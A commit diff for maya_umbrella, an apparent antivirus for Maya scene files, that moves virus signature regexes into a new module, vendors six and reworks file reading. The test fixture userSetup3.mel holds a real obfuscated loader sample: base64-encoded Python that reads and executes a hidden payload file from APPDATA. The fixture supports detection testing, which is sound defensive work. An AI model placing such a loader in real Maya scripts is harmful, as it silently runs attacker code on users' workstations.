feat: setup new nox session for update vendor packages

Signed-off-by: loonghao <hal.long@outlook.com>

.coveragerc

@@ -11,4 +11,5 @@ exclude_lines =
 ignore_errors = True
 omit =
     tests/*
+    maya_umbrella/_vendor/*
     maya_umbrella/maya_funs.py

.flake8

@@ -29,6 +29,7 @@ exclude =
     # This contains builds of flake8 that we don't want to check
     dist,
     venv,
-    docs
+    docs,
+    maya_umbrella/_vendor
 
 max-line-length = 120

manual_test_in_maya.py

@@ -18,5 +18,8 @@ def get_virus_files():
 
 def start():
     for maya_file in get_virus_files():
-        open_maya_file(maya_file)
+        try:
+            open_maya_file(maya_file)
+        except RuntimeError:
+            pass
         cmds.file(new=True, force=True)

maya_umbrella/_vendor/six/__init__.pyi

@@ -1 +1 @@
-from six import *
+from six import *

maya_umbrella/_vendor/six/moves/__init__.pyi

@@ -1 +1 @@
-from six.moves import *
+from six.moves import *

maya_umbrella/_vendor/six/moves/configparser.pyi

@@ -1 +1 @@
-from six.moves.configparser import *
+from six.moves.configparser import *

maya_umbrella/cleaner.py

@@ -5,13 +5,13 @@
 import re
 
 # Import local modules
-from maya_umbrella.constants import FILE_VIRUS_SIGNATURES
 from maya_umbrella.filesystem import remove_virus_file_by_signature
 from maya_umbrella.filesystem import safe_remove_file
 from maya_umbrella.filesystem import safe_rmtree
 from maya_umbrella.i18n import Translator
 from maya_umbrella.maya_funs import check_reference_node_exists
 from maya_umbrella.maya_funs import cmds
+from maya_umbrella.signatures import FILE_VIRUS_SIGNATURES
 
 
 class MayaVirusCleaner(object):

maya_umbrella/constants.py

@@ -3,20 +3,3 @@
 LOG_FORMAT = "%(asctime)s [%(levelname)s] %(name)s: %(message)s"
 
 LOG_MAX_BYTES = 1024 * 1024 * 5
-
-FILE_VIRUS_SIGNATURES = [
-    "import vaccine",
-    "cmds.evalDeferred.*leukocyte.+",
-    # https://regex101.com/r/0MNzF7/1
-    "python(.*);.+exec.+(pyCode).+;",
-]
-
-JOB_SCRIPTS_VIRUS_SIGNATURES = [
-    "petri_dish_path.+cmds.internalVar.+",
-    "userSetup",
-    "fuckVirus",
-    # https://regex101.com/r/0MNzF7/1
-    "python(.*);.+exec.+(pyCode).+;",
-    # https://regex101.com/r/2D14UA/1
-    r"^\['.+']",
-]

maya_umbrella/filesystem.py

@@ -1,5 +1,4 @@
 # Import built-in modules
-import codecs
 from contextlib import contextmanager
 import glob
 import importlib
@@ -10,16 +9,12 @@
 import re
 import shutil
 import string
-import sys
 import tempfile
 
 # Import local modules
-from maya_umbrella.constants import FILE_VIRUS_SIGNATURES
+from maya_umbrella._vendor import six
 from maya_umbrella.constants import PACKAGE_NAME
-
-
-PY2 = sys.version_info[0] == 2
-PY3 = sys.version_info[0] == 3
+from maya_umbrella.signatures import FILE_VIRUS_SIGNATURES
 
 
 def this_root():
@@ -43,37 +38,24 @@ def safe_rmtree(path):
         pass
 
 
-def _codes_open(path, encoding="utf-8"):
-    """Open and read the content of a file using the specified encoding.
+def read_file(path):
+    """Read the file content.
 
     Args:
-        path (str): Path to the file.
-        encoding (str, optional): The encoding to use when reading the file. Defaults to "utf-8".
+        path (str): File path of source.
 
     Returns:
-        str: The content of the file, or an empty string if the file could not be read.
-    """
-    try:
-        with codecs.open(path, "r", encoding) as file_:
-            return file_.read()
-    except (OSError, IOError):  # noqa: UP024
-        return ""
+         str: The contents of the file path.
 
-def read_file(path):
-    """Read the content of the file at the given path."""
-    options = {"encoding": "utf-8"} if PY3 else {}
-    with open(path, **options) as file_:
-        try:
-            content = file_.read()
-        # maya-2022 UnicodeDecodeError from `plug-ins/mayaHIK.pres.mel`
-        except UnicodeDecodeError:
-            return ""
+    """
+    with open(path, "rb") as file_stream:
+        content = file_stream.read()
     return content
 
 
 def read_json(path):
     """Read the content of the file at the given path."""
-    options = {"encoding": "utf-8"} if PY3 else {}
+    options = {"encoding": "utf-8"} if six.PY3 else {}
     with open(path, **options) as file_:
         try:
             content = json.load(file_)
@@ -84,13 +66,12 @@ def read_json(path):
 
 def write_file(path, content):
     """Write the given content to the file at the given path."""
-    options = {"encoding": "utf-8"} if PY3 else {}
-    with atomic_writes(path, "w", **options) as file_:
-        file_.write(content)
+    with atomic_writes(path, "wb") as file_:
+        file_.write(six.ensure_binary(content))
 
 
 @contextmanager
-def atomic_writes(src, mode, **options):
+def atomic_writes(src, mode):
     """Context manager for atomic writes to a file.
 
     This context manager ensures that the file is only written to disk if the write operation completes without errors.
@@ -107,15 +88,13 @@ def atomic_writes(src, mode, **options):
         AttributeError: If the os module does not have the 'replace' function (Python 2 compatibility).
     """
     temp_path = os.path.join(os.path.dirname(src), "._{}".format(id_generator()))
-    open_func = open if PY3 else codecs.open
-    with open_func(temp_path, mode, **options) as f:
+    with open(temp_path, mode) as f:
         yield f
     try:
         os.replace(temp_path, src)
     except AttributeError:
         shutil.move(temp_path, src)
 
-
 def id_generator(size=6, chars=string.ascii_uppercase + string.digits):
     """Generate a random string of the given size using the given characters."""
     return "".join(random.choice(chars) for _ in range(size))
@@ -203,12 +182,7 @@ def remove_virus_file_by_signature(file_path, signatures, output_file_path=None,
         auto_remove: If True, remove the input file if the output file is empty.
 
     """
-    try:
-        data = read_file(file_path)
-    except (OSError, IOError):  # noqa: UP024
-        return False
-    except UnicodeDecodeError:
-        data = _codes_open(file_path)
+    data = read_file(file_path)
     if check_virus_by_signature(data, signatures):
         fixed_data = replace_content_by_signatures(data, signatures).strip()
         if fixed_data:
@@ -230,7 +204,7 @@ def replace_content_by_signatures(content, signatures):
         str: The cleaned content.
     """
     for signature in signatures:
-        content = re.sub(signature, "", content)
+        content = re.sub(*map(six.ensure_binary, [signature, "", content]))
     return content
 
 
@@ -250,7 +224,7 @@ def check_virus_file_by_signature(file_path, signatures=None):
     except (OSError, IOError):  # noqa: UP024
         return False
     except UnicodeDecodeError:
-        data = _codes_open(file_path)
+        data = ""
     return check_virus_by_signature(data, signatures)
 
 
@@ -266,7 +240,7 @@ def check_virus_by_signature(content, signatures=None):
     """
     signatures = signatures or FILE_VIRUS_SIGNATURES
     for signature in signatures:
-        if re.search(signature, content):
+        if re.search(*map(six.ensure_binary, [signature, content])):
             return True
     return False
 

maya_umbrella/scanner.py

@@ -3,11 +3,10 @@
 import logging
 import os
 import shutil
-from tempfile import mkdtemp
-import time
 
 # Import local modules
 from maya_umbrella import maya_funs
+from maya_umbrella._vendor.six import PY2
 from maya_umbrella.defender import context_defender
 from maya_umbrella.filesystem import get_backup_path
 from maya_umbrella.filesystem import read_file
@@ -55,8 +54,13 @@ def scan_files_from_pattern(self, pattern, glob_options=None):
             glob_options (dict): Optional keyword arguments for the glob module.
                 if py3, we can pass a dict with the keyword arguments. {"recursive": True}
 
+        Raises:
+            ValueError: If py2, recursive is not supported.
+
         """
         glob_options = glob_options or {}
+        if "recursive" in glob_options and PY2:
+            raise ValueError("recursive is not supported in python2")
         os.environ.update(self._env)
         return self.scan_files_from_list(glob.iglob(pattern, **glob_options))
 

maya_umbrella/signatures.py

@@ -8,3 +8,17 @@
 virus20240430_sig1 = VirusSignature("virus20240430", "python(.*);.+exec.+(pyCode).+;")
 # https://regex101.com/r/2D14UA/1
 virus20240430_sig2 = VirusSignature("virus20240430", r"^\['.+']")
+
+JOB_SCRIPTS_VIRUS_SIGNATURES = [
+    "petri_dish_path.+cmds.internalVar.+",
+    "userSetup",
+    "fuckVirus",
+    virus20240430_sig1.signature,
+    virus20240430_sig2.signature,
+]
+
+FILE_VIRUS_SIGNATURES = [
+    "import vaccine",
+    "cmds.evalDeferred.*leukocyte.+",
+    virus20240430_sig1.signature,
+]

maya_umbrella/vaccines/vaccine2.py

@@ -2,12 +2,12 @@
 import os
 
 # Import local modules
-from maya_umbrella.constants import JOB_SCRIPTS_VIRUS_SIGNATURES
 from maya_umbrella.filesystem import check_virus_by_signature
 from maya_umbrella.filesystem import check_virus_file_by_signature
 from maya_umbrella.maya_funs import check_reference_node_exists
 from maya_umbrella.maya_funs import cmds
 from maya_umbrella.maya_funs import get_attr_value
+from maya_umbrella.signatures import JOB_SCRIPTS_VIRUS_SIGNATURES
 from maya_umbrella.vaccine import AbstractVaccine
 
 

maya_umbrella/vaccines/vaccine3.py

@@ -3,13 +3,13 @@
 import os
 
 # Import local modules
-from maya_umbrella.constants import JOB_SCRIPTS_VIRUS_SIGNATURES
 from maya_umbrella.filesystem import check_virus_by_signature
 from maya_umbrella.filesystem import check_virus_file_by_signature
 from maya_umbrella.maya_funs import cmds
 from maya_umbrella.maya_funs import get_attr_value
 from maya_umbrella.maya_funs import get_reference_file_by_node
 from maya_umbrella.maya_funs import is_maya_standalone
+from maya_umbrella.signatures import JOB_SCRIPTS_VIRUS_SIGNATURES
 from maya_umbrella.vaccine import AbstractVaccine
 
 

nox_actions/release.py

@@ -102,13 +102,3 @@ def pinned_requirements(path: Path) -> Iterator[Tuple[str, str]]:
 
         # synchronize the contents
         session.run("vendoring", "sync", ".")
-
-        # Determine the correct message
-        message = f"Upgrade {name} to {new_version}"
-
-        # Write our news fragment
-        news_file = Path("news") / (name + ".vendor.rst")
-        news_file.write_text(message + "\n")  # "\n" appeases end-of-line-fixer
-
-        # Commit the changes
-        # release.commit_file(session, ".", message=message)

noxfile.py

@@ -25,4 +25,4 @@
 nox.session(lint.lint_fix, name="lint-fix")
 nox.session(release.make_install_zip, name="make-zip")
 nox.session(codetest.pytest, name="pytest")
-nox.session(release.vendoring)
+nox.session(release.vendoring, name="vendoring")

tests/data/userSetup3.mel

@@ -1,2 +1,2 @@
 
-python("import base64; pyCode = base64.urlsafe_b64decode('aW1wb3J0IGJpbmFzY2lpDWltcG9ydCBvcw1tYXlhX3BhdGhfPW9zLmdldGVudigiQVBQREFUQSIpKydcc3lzc3N0Jw1tYXlhcGF0aD1tYXlhX3BhdGhfLnJlcGxhY2UoJ1xcJywnLycpDW1heWFfcGF0aD0nJXMvdWl0aW9uLnQnJW1heWFwYXRoDXRyeToNICAgIHdpdGggb3BlbihtYXlhX3BhdGgsICdyYicpIGFzIGY6DSAgICAgICAgZF9hX3RfYSA9IGYucmVhZCgpDSAgICBkYXRhID0gYmluYXNjaWkuYTJiX2Jhc2U2NChkX2FfdF9hKQ0gICAgZXhlYyhkYXRhKQ1leGNlcHQgSU9FcnJvciBhcyBlOg0gICAgcGFzcw=='); exec (pyCode)");
+python("import base64; pyCode = base64.urlsafe_b64decode('aW1wb3J0IGJpbmFzY2lpDWltcG9ydCBvcw1tYXlhX3BhdGhfPW9zLmdldGVudigiQVBQREFUQSIpKydcc3lzc3N0Jw1tYXlhcGF0aD1tYXlhX3BhdGhfLnJlcGxhY2UoJ1xcJywnLycpDW1heWFfcGF0aD0nJXMvdWl0aW9uLnQnJW1heWFwYXRoDXRyeToNICAgIHdpdGggb3BlbihtYXlhX3BhdGgsICdyYicpIGFzIGY6DSAgICAgICAgZF9hX3RfYSA9IGYucmVhZCgpDSAgICBkYXRhID0gYmluYXNjaWkuYTJiX2Jhc2U2NChkX2FfdF9hKQ0gICAgZXhlYyhkYXRhKQ1leGNlcHQgSU9FcnJvciBhcyBlOg0gICAgcGFzcw=='); exec (pyCode)");

tests/test_filesystem.py

@@ -2,11 +2,11 @@
 import pytest
 
 # Import local modules
-from maya_umbrella.constants import FILE_VIRUS_SIGNATURES
 from maya_umbrella.filesystem import check_virus_file_by_signature
 from maya_umbrella.filesystem import get_backup_path
 from maya_umbrella.filesystem import get_maya_install_root
 from maya_umbrella.filesystem import remove_virus_file_by_signature
+from maya_umbrella.signatures import FILE_VIRUS_SIGNATURES
 
 
 @pytest.mark.parametrize(

tests/test_scanner.py

@@ -7,14 +7,14 @@
 from maya_umbrella.scanner import MayaVirusScanner
 
 
-def test_scan_files_from_pattern(this_root):
-    scanner = MayaVirusScanner()
+def test_scan_files_from_pattern(this_root, tmpdir):
+    scanner = MayaVirusScanner(output_path=str(tmpdir.join("test")))
     root = os.path.join(this_root, "virus")
     assert scanner.scan_files_from_pattern(os.path.join(root, "*.m[ab]")) == []
 
 
 def test_scanner_from_file(this_root, tmpdir):
-    scanner = MayaVirusScanner()
+    scanner = MayaVirusScanner(output_path=str(tmpdir.join("test")))
     root = os.path.join(this_root, "virus")
     text_file = str(tmpdir.join("test.txt"))
     write_file(text_file, "\n".join(glob.glob(os.path.join(root, "*.m[ab]"))))